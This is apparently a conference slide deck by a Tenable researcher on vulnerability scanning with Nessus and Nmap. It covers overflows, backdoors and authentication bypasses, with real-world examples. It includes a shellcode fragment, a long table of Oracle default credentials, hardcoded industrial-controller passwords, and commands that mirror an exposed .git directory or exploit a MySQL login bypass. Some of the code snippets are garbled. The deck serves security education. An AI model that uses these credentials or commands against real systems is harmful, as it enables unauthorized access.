Secrets of Vulnerability Scanning: Nessus, Nmap and More

Ron Bowes - Researcher, Tenable Network Security
About me

• Ron Bowes (@iagox86)
  – My affiliations (note: I’m here to educate, not sell)
SkullSpace Winnipeg

• Winnipeg’s first (and only) hackerspace
  – Largest of its kind in Canada!
• Closely tied to AssentWorks, a makerspace
  – Largest of its kind in Canada, too!
Definitions

- Vulnerability
- Exploit
- Proof of concept
  - Safe + Unsafe
- Check
- Scanner
Vulnerability

- A flaw that can lead to a loss in security
  - Confidentiality, integrity, or availability
- We’ll look at a bunch of examples
  - These are all examples of checks I’ve written
  - Some are fairly obvious attacks, some aren’t
Exploits

- Generally the “goal”
  - Often code execution
Exploits

• Can be simple/safe
  – ie, log in with a backdoor username/password
  – Authentication bypass (my favourite!)

• Can be difficult/dangerous
  – ie, corrupt memory jussssst right to bypass safechecks and execute code
  – Much more interesting, but rarely stable
Exploits

• Shellcode
  – The goal of many exploits

```assembly
inc ebx
inc byte [ebx] ; Go to the next
cmp byte [ebx], '9'
jle ok
mov byte [ebx], '0'
inc byte [ebx-1] ; Increment the second digit
ok:
jmp main_top

done:

ret ; Return into our memory (the top of the stack is the original return of VirtualAlloc)

;;;; find_kernel32()
; Get kernel32.dll using the 'topstack' method, discussed
; in Skape's paper "Understanding Windows Shellcode"
; Modified to change some registers
find_kernel32:
; push esi ; Save esi (we don't need esi)
xor esi, esi ; Zero esi (we can assume that 'ebx' is zero)
mov eax, [fs:ebx + 0x4] ; Extract TEB
mov eax, [eax - 0x1c] ; Snag a function pointer that's 0x1c bytes into the stack
find_kernel32_base:

find_kernel32_base_loop:
    dec eax ; Subtract to our next page
    xor ax, ax ; Zero the lower half
    cmp word [eax], 0x5a4d ; Is this the top of kernel32?
    ine find_kernel32_base_loop ; None? Try again.
```
PoC (Proof of Concept)

- Usually a partial exploit
  - Frequently a denial of service – like fills memory with `\x41` ('A')
  - Often crashes the service
  - Sometimes useful, sometimes not
Checks

- Determine if a host is vulnerable
- What they do:
  - Check version numbers
  - Try and produce incorrect behaviour
  - Try to run actual code
- How it’s detected depends on the nature of the vulnerability
Checks – Safe vs Unsafe

- We generally divide checks into ‘safe’ and ‘unsafe’
  - Safe checks use version numbers, odd behaviour, or command execution
  - Unsafe (aka, dangerous, intrusive) checks may damage the service, congest the network, or cause unwanted side effects
- Goal is always safe checks
- Sometimes a lot of effort goes into making a check safe
Scanner

• A program that performs multiple vulnerability checks against a host or network
• Eg: Nessus, Nmap, etc.
• More later
Who runs vulnerability scanners?

• The Good Guys™
  – Network administrators
  – Security department
  – Penetration testers
  • Though hopefully they do more than just run tools…
Who runs vulnerability scanners?

• The Bad Guys™
  – Breaking into your sites for fun and profit!
  – Many reasons… let’s look at examples
**Who runs vulnerability scanners?**

- **The Bad Guys™**
  - Stealing passwords
  - Look at the dates ➔
    - This month!
  - Diablo 3?
    - Item theft = $$$

---

**My brief life as a Diablo III hacking victim**

A tale of disappearing items, late authenticators, and few concrete answers.

by Kyle Orland - May 30 2012, 4:30pm PDT
Who runs vulnerability scanners?

- The Bad Guys™
  - Sending spam
  - Ever seen one of these?

Email us a comment!

Your name: 
Your email: 
Your comment: 

send
Who runs vulnerability scanners?

• The Bad Guys™
  – Sending spam
  – Do you realize how often it looks like this?

```html
26 <form action='email.php'>
27  <h2>Email us a comment!</h2>
28  Your name: <input type='text' name='name' />
29  Your email: <input type='text' name='email' />
30  Your comment:<br />
31  <textarea name='message' rows='5' cols='80'/></textarea><br />
32  <input type='submit' value='send' />
33  <input type='hidden' name='to' value='webmaster@domain.com' />
34 </form>
```
Who runs vulnerability scanners?

- The Bad Guys™
  - Bots, malware, etc
  - This is an example of the Blackhole Exploit Kit
Vulnerabilities

• Let’s look at a bunch of examples and how we detect them!
  – Web
  – Overflows
  – Memory corruption
  – Configuration errors
  – Authentication bypass
  – Backdoors
  – Session hopping

• Note: Nessus will detect almost all of these (except the special purpose ones)
Web vulnerabilities

• Many types
  – Cross-site scripting
  – SQL injection
  – Cross-site request forgery

• Detection
  – Sometimes easy – known issues
  – Sometimes difficult – need an inventory, recognize custom code, custom error pages, etc

• Not going to spend any more time on this
  – See: OWASP Top10
Overflow vulnerability

- Various types – stack, heap, .data, etc.
  - Basically, overwrite variables that shouldn’t be overwritten
  - Detection can be easy or hard

```c
int vuln_function(SOCKET s)
{
    int var1, var2, var3;
    int length;
    int buffer[1024];
    // Receive a 2-byte length value
    if (recv(s, &length, 2, NULL) < 0)
        ERROR("Error in recv()");
    // Receive that many bytes
    recv(s, buffer, length, NULL);
    // ...
}
```

```c
int patched_function(SOCKET s)
{
    int var1, var2, var3;
    int length;
    int buffer[1024];
    // Receive a 2-byte length value
    if (recv(s, &length, 2, NULL) < 0)
        ERROR("Error in recv()");
    if (length > 1024)
        ERROR("It's too long!");
    // Receive that many bytes
    recv(s, buffer, length, NULL);
    // ...
}
```
Overflow vulnerability – Samba

- Infinite loop of processing

```c
void samba_recv(SOCKET s)
{
    char *packet, next_offset;

    /* Receive the packet */
    recv(s, packet, MAXLEN, NULL);

    while(TRUE)
    {
        /* Process it */
        process_packet(packet);

        /* Get a pointer to the next packet */
        next_offset = packet[ANDX_OFFSET];

        /* If it's 0, we're finished */
        if(next_offset == 0)
            return;

        /* Go to the next packet and keep processing */
        packet = packet + next_offset;
    }
}
```
Memory corruption vulnerability

- Typically difficult to detect
  - Have to understand exactly what’s going on
  - This example is a simplified version of ms08-067

```c
int vulnerable_func(char *s, int length)
{
    /* Initialize tmp to point at the end of the string */
    char *tmp = s + length - 1;

    /* Work backwards in the string to find the first slash */
    while(*tmp != '/')
        tmp--;

    /* ...work in the context of the current tmp value */
}

int patched_func(char *s, int length)
{
    /* Initialize tmp to point at the end of the string */
    char *tmp = s + length - 1;

    /* Work backwards in the string to find the first slash */
    while(*tmp != '/' && tmp >= s)
        tmp--;

    /* ...work in the context of the current tmp value */
}
### Configuration errors

- Eg, blank or default passwords
  - *cough* Oracle *cough*

<table>
<thead>
<tr>
<th>Username</th>
<th>Password</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BRIO_ADMIN</td>
<td>BRIO_ADMIN</td>
<td>BRIO_ADMIN is an account of a 3rd party product.</td>
</tr>
<tr>
<td>BRUGERNAVN</td>
<td>ADGANGSKUDE</td>
<td>9IR2 documentation</td>
</tr>
<tr>
<td>BRUKERNAVN</td>
<td>PASSWORD</td>
<td>9IR2 documentation</td>
</tr>
<tr>
<td>BSC</td>
<td>BSC</td>
<td>BSC is a schema account from Oracle Applications. Default it has several CREATE privileges.</td>
</tr>
<tr>
<td>BUG_REPORTS</td>
<td>BUG_REPORTS</td>
<td>From a book</td>
</tr>
<tr>
<td>CALVIN</td>
<td>HOBBES</td>
<td>CALVIN is an account to demonstrate AOLS. It should not exist in a production environment.</td>
</tr>
<tr>
<td>CATALOG</td>
<td>CATALOG</td>
<td>CATALOG is an account of a 3rd party product.</td>
</tr>
<tr>
<td>CCT</td>
<td>CCT</td>
<td>CCT is a schema account from Oracle Applications. Default it has several CREATE privileges.</td>
</tr>
<tr>
<td>CDEMO82</td>
<td>CDEMO82</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CDEMO82</td>
<td>CDEMO83</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CDEMO82</td>
<td>UNKNOWN</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CDEMOCOR</td>
<td>CDEMOCOR</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CDEMORID</td>
<td>CDEMORID</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CDEMOUCB</td>
<td>CDEMOUCB</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CDOUGLAS</td>
<td>CDOUGLAS</td>
<td>CDOUGLAS is a schema owner of Workflow Iasdb.</td>
</tr>
<tr>
<td>CE</td>
<td>CE</td>
<td>CE is a schema account from Oracle Applications. Default it has several ANY privs</td>
</tr>
<tr>
<td>CENTRA</td>
<td>CENTRA</td>
<td>CENTRA is an account that presumably manages Centra application software.</td>
</tr>
<tr>
<td>CENTRAL</td>
<td>CENTRAL</td>
<td>CENTRAL is an administrative account for Quest Central(?).</td>
</tr>
<tr>
<td>CIDS</td>
<td>CIDS</td>
<td>CIDS is an account for Cerberus Intrusion Detection System.</td>
</tr>
<tr>
<td>CIS</td>
<td>CIS</td>
<td>CIS is an account for dbengine.</td>
</tr>
<tr>
<td>CIS</td>
<td>ZWERG</td>
<td>CIS is an account for dbengine.</td>
</tr>
<tr>
<td>CISINFO</td>
<td>CISINFO</td>
<td>CISINFO is an account for dbengine.</td>
</tr>
<tr>
<td>CISINFO</td>
<td>ZWERG</td>
<td>CISINFO is an account for dbengine.</td>
</tr>
<tr>
<td>CLARK</td>
<td>CLOTH</td>
<td>This is a training account. It should not be available in a production environment.</td>
</tr>
<tr>
<td>CLKANA</td>
<td>&lt;UNKNOWN&gt;</td>
<td>CLKANA is an account for Oracle Clickstream Intelligence.</td>
</tr>
</tbody>
</table>
Configuration errors

- Files on the web servers that shouldn’t be there
  - This example is a true story from earlier this month...

Index of ./git

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>COMMIT_EDITMSG</td>
<td>12-May-2012 08:20</td>
<td>3 Bk</td>
<td></td>
</tr>
<tr>
<td>FETCH_HEAD</td>
<td>12-May-2012 08:20</td>
<td>92</td>
<td></td>
</tr>
<tr>
<td>HEAD</td>
<td>12-May-2012 08:20</td>
<td>23</td>
<td></td>
</tr>
<tr>
<td>ORIG_HEAD</td>
<td>12-May-2012 08:20</td>
<td>41</td>
<td></td>
</tr>
<tr>
<td>config</td>
<td>12-May-2012 08:20</td>
<td>263</td>
<td></td>
</tr>
<tr>
<td>description</td>
<td>12-May-2012 08:20</td>
<td>73</td>
<td></td>
</tr>
<tr>
<td>hooks/</td>
<td>12-May-2012 08:20</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>index</td>
<td>12-May-2012 08:20</td>
<td>3 Bk</td>
<td></td>
</tr>
</tbody>
</table>

ron@armitage ~/tmp/git-demo $ wget --include-directories=./.git --mirror http://www.example.com/.git >/dev/null
ron@armitage ~/tmp/git-demo $ mv www.example.com/.git .
ron@armitage ~/tmp/git-demo $ git reset --hard
HEAD is now at eef389b
Cleaned up the submissions code some more
ron@armitage ~/tmp/git-demo $ grep 'password=' */*/
db/settings.txt:password:
test/test.sh:cat .:/db/breachdb.sql | mysql -h $TEST_HOST -u $TEST_USERNAME --password=$TEST_PASSWORD -D $TEST_DB -e "test/test.sh:mysqldump -u $TEST_USERNAME --password=$TEST_PASSWORD -o $TEST_DB.sql"
Backdoors

- Unauthorized way to access the program
- Sometimes called “maintenance hook”
- Can be legitimate (bad) or malicious (worse)
- Generally easy to detect, once it’s known
  - Just try to run a command!
Backdoors – legitimate

- Note: being legitimate doesn’t make it right!
  - This is from an industrial controller system, and are hardcoded (can’t be changed!)

```python
users = make_list('qbf77101', 'ftpuser', 'sysdiag', );
passes = make_list('hexakisoctahedron', 'password', 'factorycast@schneider');

info = "";
j = 0;
foreach user(users)
{
    pass = passes[j++];
    soc = open_sock_tcp(port);

    if(soc)
    {
        answer = recv(socket:soc, length:4096);
    }
}
```
Backdoors – malicious

- Added by somebody evil
  - Malicious programmer, somebody who broke in, etc.
  - Lots of good examples, but this is from vsftpd:

```c
int str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
    static struct mystr s_curr_line_str;
    unsigned int pos = 0;
    while (str_getline(p_str, &s_curr_line_str, &pos))
    {
        if (str_equal(&s_curr_line_str, p_line_str))
        {
            return 1;
        }
        else if((p_str->p_buf[i]==0x3a) // ":"
                 && (p_str->p_buf[i+1]==0x29)) // ""
        {
            vsf_sysutil_extra(); // Give access if the password is ":)"
        }
    }
    return 0;
}
```
Authentication bypass

• Similar to default credentials or backdoor
• Bypass the authentication without credentials
• Typically simple but interesting
  — My personal favourite, as you’ll guess by my examples
• Usually easy to detect and/or exploit, once you figure it out
Authentication bypass – MySQL

- June 11, 2012 – “Tragic” MySQL vuln

```
ron@armitage ~ $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; do echo $i; done

mysql> select user, password from mysql.user;
+-----------+-------------------+
| user      | password           |
+-----------+-------------------+
| root      | *B69C2DBFCC29124CC449D636286720E216F9D950 |
| root      | *01395B107C2BA9E00608CC243D42DAA367037B80 |
+-----------+-------------------+

ron@armitage ~ $ 
```
Authentication bypass – HP Client Automation

- I wrote a blog detailing this on skullsecurity.org
- Here’s the logfile:

```
P001 [C:\PROGRA~1\HEWLET~1\HPCA\Agent\Lib\ZMASTER.ED]
Object Version: [4]
Total [0001] pools restored (v161)
Trace Level has been reset from [64] to [40] (v162)
Password verification has not been requested
Path restricted to IDMSYS subdirectory
Userid verification has been disabled
Using NTF Port: 3465
Launched [C:\PROGRA~1\HEWLET~1\HPCA\Agent\radalert.e]
```
Authentication bypass - Unidata

- I discovered this almost 2 years ago
- It was fixed last month
Authentication bypass - Unidata

- Step 1: see what a connection looks like
Authentication bypass - Unidata

- Step 2: implement in the most naïve way possible
Authentication bypass - Unidata

- Step 3: Skip the part where we sent authentication
  - (not shown: change the command to ‘whoami’)
Authentication bypass – security camera

• Step 1: Try to log in

![Secure Access Login]

![Login Failed]

Login Failed! Please try entering a different username or password.

Having problems logging in? Click here.
Authentication bypass – security camera

- Step 2: Find the error message
Authentication bypass – security camera

- Step 3: Find the code
Authentication bypass – security camera

- Step 4: Modify the code in memory
Authentication bypass – security camera

- Step 5: Try to log in (also, profit!)

![Login successful message]
Authentication bypass – RealVNC

- A really funny example
- Server: “You may authentication with ‘good’, ‘better’, or ‘best’ authentication”
- Client: “I choose ‘none’”
- Server: “Welcome!”
Session hopping

- Changing to a different session (probably with higher privileges)
- Lots of ways…
  - Stealing/guessing a token
  - Sessions not invalidated properly (aka, session fixation)
  - Etc.
- Often very difficult to detect
Session hopping

- A government program actually did this. I’m serious. I wish I was joking.
- (Nessus won’t detect this, nor will any scanner)
Let’s start by talking about general concepts

- Enumeration
  - Portscanning / web spidering

- Vulnerability detection
  - False positives / negatives
  - Passive vulnerability detection
Enumeration

• Portscanning
  – Determine which services are available
  – Instead of running 50,000+ checks against mostly closed ports, just run the 100 applicable ones

• Web spidering
  – Determine which pages and arguments exist
  – Run tests against all pages + arguments
Vulnerability detection

• Test for each individual vulnerability on every open port

• As discussed earlier, several ways
  – Get a version number
  – Look for interesting responses
  – Exploit the vulnerability
Vulnerability detection

• False positives + false negatives
  – Some checks aren’t 100% reliable
  – Where do you err?
  – Nessus has an option: “report paranoia”
  – Check vulnerabilities manually!
Vulnerability detection

- Passive vulnerability scanning

**PVS Backdoors Discovered**

<table>
<thead>
<tr>
<th>Plugin ID</th>
<th>Plugin Name</th>
<th>Severity</th>
<th>IP Address</th>
<th>Last Observed</th>
</tr>
</thead>
<tbody>
<tr>
<td>5721</td>
<td>Stuxnet Traffic Detection</td>
<td>High</td>
<td>172.20.5.11</td>
<td>Jun 11, 2012 9:15</td>
</tr>
<tr>
<td>7058</td>
<td>DNS Client Flame Infection</td>
<td>High</td>
<td>172.20.15.100</td>
<td>Jun 11, 2012 14:26</td>
</tr>
<tr>
<td>4440</td>
<td>Generic Botnet Client Detection</td>
<td>High</td>
<td>10.10.51.6</td>
<td>Mar 29, 2012 0:03</td>
</tr>
</tbody>
</table>

**Stuxnet Traffic Detection**

- **First Discovered:** Jan 17, 2012 22:51
- **Last Observed:** Jun 11, 2012 9:15
- **PVS Timestamp:** Jun 11 08:59:33

The remote host is passing RPC traffic which is requesting an RPC UUID which is synonymous with the Stuxnet trojan. This may indicate that either the host is infected with stuxnet or the host is scanning for Stuxnet-infected machines.

**Solution:**

Ensure that the system is not infected. If it is not infected, ensure that the system is authorized to be running security scans on the network.
Going to talk about the tools I’ve been involved with
- Nessus
- Nmap

Tools that also exist that I won’t mention since I’ve never worked on them:
- Nexpose (Rapid7)
- Burp suite
- Foundstone
- IBM Rational Appscan
- …lots more
Tools – Nessus

- Written by Tenable Network Security
  - My current employer
- Oldest tool of its kind
  - Version 1 was 1997 or so
  - Current version is 5.0.1, released earlier this year
  - Uses Nessus Attack Scripting language – NASL – for checks
Tools – Nmap

- Originally a portscanner
  - Also released in 1997
- Added the “Nmap Scripting Engine” a couple years ago
  - Scripts are written in Lua
  - Mostly community-contributed and Google Summer of Code students
Tools – bottom line

• Some tools find different issues, and have different strengths
• I personally run three different tools
  – Nmap, Nessus, and Burp Suite
Tools – output

- You will get false positives and false negatives
  - Confirming issues is important
- Issues discovered by tools may have the “wrong” severity ratings
  - Understanding the business and triaging issues is critical
Questions?

- Email: ron@skullsecurity.net
- Twitter: @iagox86